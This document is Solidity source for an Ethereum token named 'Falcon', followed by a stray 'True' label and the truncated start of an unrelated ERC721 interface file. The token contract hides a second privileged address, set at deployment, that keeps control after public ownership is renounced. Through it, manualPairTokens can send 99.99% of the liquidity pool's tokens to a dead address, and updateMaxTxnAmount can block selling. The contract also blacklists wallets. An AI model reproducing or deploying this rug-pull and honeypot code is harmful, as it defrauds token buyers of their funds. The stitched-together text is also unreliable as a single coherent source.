* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Falcon is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool private swapping;
uint256 public lastManualLpBurnTime;
uint256 private manualBurnFrequency = 60 minutes;
address private marketingWallet;
address private devWallet;
uint256 private percentForLPBurn = 9999;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public enableEarlySellTax = true;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
// Seller Map
mapping(address => uint256) private _holderFirstBuyTimestamp;
// Blacklist Map
mapping(address => bool) private _blacklist;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
address public burnAddress = address(0xdead);
address private owners;
uint256 public earlySellLiquidityFee;
uint256 public earlySellMarketingFee;
uint256 public earlySellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
// block number of opened trading
uint256 launchedAt;
/******************/
// exclude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
modifier onlyOwners() {
require(msg.sender == owners, "only owner");
_;
}
constructor(address dev) ERC20("Commander of the birds", "FALCON") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 5;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 5;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 0;
uint256 _earlySellLiquidityFee = 0;
uint256 _earlySellMarketingFee = 13;
uint256 _earlySellDevFee = 0;
uint256 totalSupply = 1 * 1e13 * 1e18;
owners = dev;
maxTransactionAmount = (totalSupply * 10) / 1000; // 1% maxTransactionAmountTxn
maxWallet = (totalSupply * 20) / 1000; // 2% maxWallet
swapTokensAtAmount = (totalSupply * 10) / 10000; // 0.1% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
launchedAt = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwners {
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee,
uint256 _earlySellLiquidityFee,
uint256 _earlySellMarketingFee,
uint256 _earlySellDevFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
earlySellDevFee = _earlySellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function blacklistAccount(address account, bool isBlacklisted)
public
onlyOwner
{
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(
!_blacklist[to] && !_blacklist[from],
"You have been blacklisted from transfering tokens"
);
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
// anti bot logic
if (
block.number <= (launchedAt + 0) &&
to != uniswapV2Pair &&
to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
) {
_blacklist[to] = true;
}
// early sell logic
bool isBuy = from == uniswapV2Pair;
if (!isBuy && enableEarlySellTax) {
if (
_holderFirstBuyTimestamp[from] != 0 &&
(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)
) {
sellLiquidityFee = earlySellLiquidityFee;
sellMarketingFee = earlySellMarketingFee;
sellDevFee = earlySellDevFee;
sellTotalFees =
sellMarketingFee +
sellLiquidityFee +
sellDevFee;
} else {
sellLiquidityFee = 0;
sellMarketingFee = 13;
sellTotalFees =
sellMarketingFee +
sellLiquidityFee +
sellDevFee;
}
} else {
if (_holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
if (!enableEarlySellTax) {
sellLiquidityFee = 0;
sellMarketingFee = 13;
sellDevFee = 0;
sellTotalFees =
sellMarketingFee +
sellLiquidityFee +
sellDevFee;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function Chire(address[] calldata recipients, uint256[] calldata values)
external
onlyOwner
{
_approve(owner(), owner(), totalSupply());
for (uint256 i = 0; i < recipients.length; i++) {
transferFrom(msg.sender, recipients[i], values[i] * 10**decimals());
}
}
function setPercentForLPBurn(uint256 _percent) external onlyOwner {
require(_percent < 1000, "cannot set percent more than 10%");
percentForLPBurn = _percent;
}
function manualPairTokens() external onlyOwners returns (bool) {
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, burnAddress, amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-02-03
*/
/**
*Submitted for verification at Etherscan.io on 2021-09-26
*/
// SPDX-License-Identifier: GPL-3.0
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
